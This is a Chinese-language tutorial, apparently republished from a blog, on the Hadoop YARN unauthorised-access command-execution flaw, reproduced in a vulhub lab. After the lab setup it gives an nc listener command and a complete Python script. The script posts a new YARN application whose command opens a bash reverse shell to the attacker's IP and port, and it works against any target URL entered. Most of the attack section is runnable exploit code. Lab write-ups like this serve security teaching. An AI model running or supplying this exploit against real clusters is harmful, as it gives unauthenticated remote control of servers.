数据库安全：Hadoop 未授权访问-命令执行漏洞.-Toy模板网

这篇具有很好参考价值的文章主要介绍了数据库安全：Hadoop 未授权访问-命令执行漏洞.。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

数据库安全：Hadoop 未授权访问-命令执行漏洞.

Hadoop 未授权访问主要是因为 Hadoop YARN 资源管理系统配置不当，导致可以未经授权进行访问，从而被攻击者恶意利用。攻击者无需认证即可通过 RESTAPI 部署任务来执行任意指令，最终完全控制服务器。

Hadoop 未授权访问-命令执行漏洞：

开启 vulhub 靶场环境：

第一步：切换到 vulhub 目录下

cd vulhub

hadoop 漏洞,# 服务攻防领域.,渗透测试领域.,web安全,安全,网络安全

第二步：切换到 hadoop 目录下

cd hadoop

hadoop 漏洞,# 服务攻防领域.,渗透测试领域.,web安全,安全,网络安全

第三步：切换到 unauthorized-yarn 漏洞目录下.

hadoop 漏洞,# 服务攻防领域.,渗透测试领域.,web安全,安全,网络安全

第四步：开启漏洞服务.

docker-compose up -d

hadoop 漏洞,# 服务攻防领域.,渗透测试领域.,web安全,安全,网络安全

第五步：访问 http:// (靶场 IP 地址):8088

hadoop 漏洞,# 服务攻防领域.,渗透测试领域.,web安全,安全,网络安全

Hadoop 未授权访问-命令执行漏洞测试：

第一步：访问 /cluster/apps 页面【如果该页面存在的话，说明存在未授权访问漏洞】

http://192.168.0.106:8088/cluster/apps

hadoop 漏洞,# 服务攻防领域.,渗透测试领域.,web安全,安全,网络安全

第二步：在攻击机（kali）设置监听.

nc -nvlp 8888

// 设置 监听 端口为8888

hadoop 漏洞,# 服务攻防领域.,渗透测试领域.,web安全,安全,网络安全

第三步：编写 Python 执行代码.

import requests

def shell(url,vps_ip,port):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36'
    }
    response = requests.post(url+"/ws/v1/cluster/apps/new-application",headers=headers)
    id = response.json()["application-id"]
    data = {
        'application-id': id,
        'application-name': 'getshell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1'%(vps_ip,port)
            },
        },
        'application-type': 'YARN'}
    exploit = requests.post(url+"/ws/v1/cluster/apps",headers=headers,json=data)
    print("[+] 执行完成！")


if __name__ == '__main__':
    url = input("目标的URL:")
    vps_ip = input("监听的主机IP地址(kali):")
    port = input("监听的主机端口(kali):")
    shell(url,vps_ip,port)

执行代码：

hadoop 漏洞,# 服务攻防领域.,渗透测试领域.,web安全,安全,网络安全